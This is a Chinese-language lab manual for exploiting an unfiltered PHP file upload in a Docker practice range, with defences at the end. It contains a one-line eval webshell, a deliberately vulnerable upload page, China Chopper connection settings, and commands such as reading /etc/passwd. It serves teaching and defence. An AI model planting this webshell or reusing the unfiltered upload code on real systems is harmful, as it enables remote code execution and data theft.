
文件上传漏洞渗透测试手册

1、 [bookmark: heading_1]实验概述
1.1 [bookmark: heading_2]实验目的
理解 PHP 无过滤文件上传漏洞 的原理与危害
完成从「制作一句话木马 → 上传 → 中国菜刀连接 → 获取服务器控制权限」的完整渗透流程
掌握 Docker、Vim、Linux 权限配置等基础操作
提出针对性的漏洞修复与防御方案
1.2 [bookmark: heading_3]实验环境
宿主机：Windows 系统（VMware Workstation 17）
虚拟机：Ubuntu 20.04（NAT 网络模式）
虚拟机 IP：192.168.99.101 / 192.168.44.128（双 IP 配置）
靶场环境：Docker 容器 iwebsec/iwebsec（渗透测试专用镜像）
测试工具：中国菜刀、浏览器、Vim 编辑器
1.3 [bookmark: heading_4]实验拓扑
	Plain Text
Windows 宿主机（中国菜刀） ↔ Ubuntu 虚拟机 ↔ Docker iwebsec 容器（Web 服务）



2、 [bookmark: heading_5]环境准备与基础操作
2.1 [bookmark: heading_6]查看本机网络信息
	Bash
ip add #发现iwebsec靶机是桥接模式，那么可以在虚拟机设置里改成NAT模式

sudo dhclient -r #这2行命令是要帮助虚拟机在NAT模式下自动获取IP地址
sudo dhclient


关键输出：
ens33 网卡：192.168.99.101/24、192.168.44.128/24
docker0 网卡：172.17.0.1/16（容器桥接网络）
2.2 [bookmark: heading_7]查看运行中的 Docker 容器
	Bash
docker ps


关键信息：
容器 ID：bc23a49cb37c
容器名称：beautiful_diffie
端口映射：0.0.0.0:80->80/tcp（Web 服务）、0.0.0.0:13307->3306/tcp（MySQL）等
2.3 [bookmark: heading_8]进入 iwebsec 容器
	Bash
docker exec -it bc23 /bin/bash


进入 Web 根目录：
	Bash
cd /var/www/html



3、 [bookmark: heading_9]实验步骤一：创建上传目录与权限配置
3.1 [bookmark: heading_10]创建测试上传目录
	Bash
mkdir test_uploads


若提示 File exists，说明目录已存在，无需重复创建。
3.2 [bookmark: heading_11]配置目录权限（解决 403/访问拒绝问题）
iwebsec 容器可能基于 CentOS，无 www-data 用户，直接赋予最大测试权限：
	Bash
chmod -R 777 /var/www/html/test_uploads


生产环境严禁使用 777 权限，此处仅为测试环境临时配置。

4、 [bookmark: heading_12]实验步骤二：制作并部署 PHP 一句话木马
4.1 [bookmark: heading_13]使用 Vim 创建木马文件 ma.php
	Bash
vim ma.php


编辑操作：
按 i 进入插入模式（底部显示 -- INSERT --）
写入一句话木马代码：
	[bookmark: _GoBack]PHP
<?php @eval($_POST['cmd']); ?>


按 Esc 退出插入模式，输入 :wq 保存并退出 Vim
4.2 [bookmark: heading_14]移动木马至上传目录
	Bash
mv /var/www/html/ma.php /var/www/html/test_uploads/


4.3 [bookmark: heading_15]配置文件访问权限
	Bash
chmod 644 /var/www/html/test_uploads/ma.php



5、 [bookmark: heading_16]实验步骤三：编写无过滤文件上传页面
5.1 [bookmark: heading_17]创建上传测试页面 fileUploads.php
	Bash
vim fileUploads.php


写入完整代码：
	PHP
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $target_dir = "test_uploads/";
    $target_file = $target_dir . basename($_FILES["file"]["name"]);
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
        echo "文件上传成功！";
    } else {
        echo "对不起，上传您的文件时出现了错误。";
    }
}
?>
<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" method="post" enctype="multipart/form-data">
    选择文件上传：
    <input type="file" name="file" id="fileToUpload">
    <input type="submit" value="上传文件" name="submit">
</form>


保存退出：Esc → :wq
fileUploads.php 代码详细注释
说明：该代码是一个无过滤的基础文件上传页面，用于接收用户上传的文件并保存到指定目录，适合新手理解文件上传的核心逻辑（注：实际开发中需添加安全校验，否则有高危漏洞）。
// 以下是PHP核心逻辑（处理文件上传的后台代码）
	php
<?php
// 1. 判断用户提交的请求方式是否为POST（文件上传必须用POST请求，GET请求无法传递文件数据）
// $_SERVER['REQUEST_METHOD'] 是PHP内置变量，用于获取当前请求的方式（POST/GET）
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 2. 定义文件上传后保存的目标目录（当前网站根目录下的 test_uploads 文件夹）
    // 注意：该目录必须提前创建，且赋予Web服务可写权限（如 chmod 777 test_uploads）
    $target_dir = "test_uploads/";
    
    // 3. 拼接上传文件的完整保存路径（目录 + 文件名）
    // basename($_FILES["file"]["name"])：获取用户上传文件的原始文件名（过滤路径，只保留文件名，避免路径遍历漏洞）
    // $_FILES["file"]：PHP内置超级全局变量，专门用于接收上传的文件信息，"file" 对应表单中文件输入框的 name 属性值
    $target_file = $target_dir . basename($_FILES["file"]["name"]);
    
    // 4. 执行文件上传操作：将用户上传的临时文件，移动到我们定义的目标路径
    // move_uploaded_file(临时文件路径, 目标保存路径)：PHP专门用于文件上传的函数，返回布尔值（成功true/失败false）
    // $_FILES["file"]["tmp_name"]：用户上传的文件在服务器上的临时保存路径（服务器会自动生成临时文件，上传完成后需手动移动，否则临时文件会自动删除）
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
        // 上传成功：给用户提示成功信息
        echo "文件上传成功！";
    } else {
        // 上传失败：给用户提示错误信息（失败原因可能是：目录无权限、文件过大、临时文件丢失等）
        echo "对不起，上传您的文件时出现了错误。";
    }
}
?>


// 以下是HTML表单（用户操作的前端页面，用于选择和提交文件）
	html
<form 
    // action：指定表单提交后，数据发送到哪个页面处理
    // htmlspecialchars($_SERVER["PHP_SELF"])：获取当前页面的路径（即自身），表示表单提交到当前文件，由上面的PHP代码处理
    // 作用：避免表单提交路径错误，同时防止XSS漏洞（htmlspecialchars会转义特殊字符）
    action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" 
    // method：表单提交方式，文件上传必须用POST（GET无法携带文件二进制数据）
    method="post" 
    // enctype：表单数据编码方式，文件上传必须设置为 multipart/form-data
    // 作用：告诉服务器，表单中包含文件数据，需要特殊解析（否则服务器无法识别上传的文件）
    enctype="multipart/form-data">
    // 表单提示文字，告诉用户需要选择文件
    选择文件上传：
    // 文件选择框：type="file" 表示这是一个文件选择控件，用户点击可选择本地文件
    // name="file"：控件名称，必须和PHP代码中 $_FILES["file"] 的 "file" 保持一致（否则无法接收文件）
    // id="fileToUpload"：控件ID，用于和CSS/JS关联（此处可省略，仅为规范）
    <input type="file" name="file" id="fileToUpload">
    // 提交按钮：type="submit" 表示点击该按钮，提交表单数据和选择的文件
    // value="上传文件"：按钮上显示的文字
    // name="submit"：按钮名称，可选（可用于PHP中判断是否点击了提交按钮）
    <input type="submit" value="上传文件" name="submit">
</form>



	重点注意事项：
1. 表单必须设置 enctype="multipart/form-data" 和 method="post"，否则无法上传文件；
2. PHP中 $_FILES["file"] 的 "file"，必须和HTML中文件输入框的 name="file" 完全一致；
3. test_uploads 目录必须提前创建，且赋予可写权限（实验环境可用 chmod 777 test_uploads）；
4. 该代码无任何安全校验（如文件类型、后缀、大小），仅用于学习，实际开发中严禁直接使用。



5.2 [bookmark: heading_18]访问上传页面
浏览器地址栏输入：
	Plain Text
http://192.168.44.128/fileUploads.php


页面显示文件上传表单，可上传任意类型文件（存在高危上传漏洞）。

6、 [bookmark: heading_19]实验步骤四：验证木马解析状态
浏览器访问木马地址：
	Plain Text
http://192.168.44.128/test_uploads/ma.php


预期现象：页面显示空白
原因说明：
空白页 = PHP 解析正常、无语法错误、木马存活
一句话木马需通过 POST 传入 cmd 参数触发执行，无参数时不输出内容

7、 [bookmark: heading_20]实验步骤五：中国菜刀连接与权限获取
7.1 [bookmark: heading_21]中国菜刀配置参数
	配置项
	填写内容

	地址 (URL)
	http://192.168.44.128/test_uploads/ma.php

	访问密码
	cmd（与木马代码中 $_POST['cmd'] 对应）

	脚本语言
	PHP

	连接模式
	POST


7.2 [bookmark: heading_22]连接成功效果
可浏览容器内完整目录结构（如 /var/www/html/test_uploads/）
可对文件进行查看、编辑、删除、上传等操作
可执行系统命令：
	Bash
whoami    # 查看当前用户（返回 apache）
ls        # 列出目录文件
cat /etc/passwd  # 读取系统敏感文件


7.3 [bookmark: heading_23]漏洞利用结论
成功获取 Web 服务器操作权限，可进一步实现数据泄露、提权、植入持久化后门等攻击。

8、 [bookmark: heading_24]常见问题与解决方案
	问题现象
	原因分析
	解决方法

	chown: invalid user: www-data
	CentOS 容器无 www-data 用户
	放弃 chown，直接执行 chmod -R 777 test_uploads

	访问目录返回 403 Forbidden
	目录权限不足 + Apache 禁止目录浏览
	chmod -R 777 test_uploads，或创建 index.html

	访问 ma.php 返回 404 Not Found
	文件路径错误 / 访问 IP 错误
	确认文件在 /test_uploads/ 下，使用正确 IP（192.168.44.128）

	Vim 无法保存/编辑
	未进入插入模式 / 命令输入错误
	按 i 进入编辑，Esc → :wq 保存退出；Esc → :q! 不保存退出



9、 [bookmark: heading_25]漏洞危害分析
任意文件上传：攻击者可上传 PHP 木马、病毒、后门等恶意文件
远程代码执行：通过一句话木马执行任意 PHP 代码，完全控制服务器
敏感数据泄露：读取数据库配置文件、用户密码、业务数据等
容器/宿主机沦陷：可提权至 root，进一步攻击宿主机或横向渗透
业务完全接管：篡改网站内容、破坏服务、植入挖矿程序等

10、 [bookmark: heading_26]安全防御与修复方案
后端白名单校验：仅允许图片类后缀（jpg/png/gif），拒绝 php/jsp/asp 等脚本后缀
多重文件校验：校验文件 MIME 类型、文件头（如 FF D8 FF 对应 JPG）
文件重命名：上传后随机重命名文件（如 md5(时间戳).jpg），避免直接访问
权限最小化：上传目录权限设为 755，文件权限设为 644，禁止可执行权限
目录隔离：将上传目录移出 Web 根目录，通过 PHP 读取后返回，避免直接访问
禁用危险函数：在 php.ini 中禁用 eval、system、exec 等危险函数
部署 WAF：使用 Web 应用防火墙拦截恶意文件上传与代码执行请求

11、 [bookmark: heading_27]附录：核心命令汇总
	Bash
# 查看本机 IP
ip add

# 查看运行中的 Docker 容器
docker ps

# 进入 iwebsec 容器
docker exec -it bc23 /bin/bash

# 切换至 Web 根目录
cd /var/www/html

# 创建上传目录
mkdir test_uploads

# 配置目录权限
chmod -R 777 test_uploads

# 创建一句话木马
vim ma.php

# 移动木马至上传目录
mv ma.php test_uploads/

# 配置文件权限
chmod 644 test_uploads/ma.php

# 创建文件上传页面
vim fileUploads.php




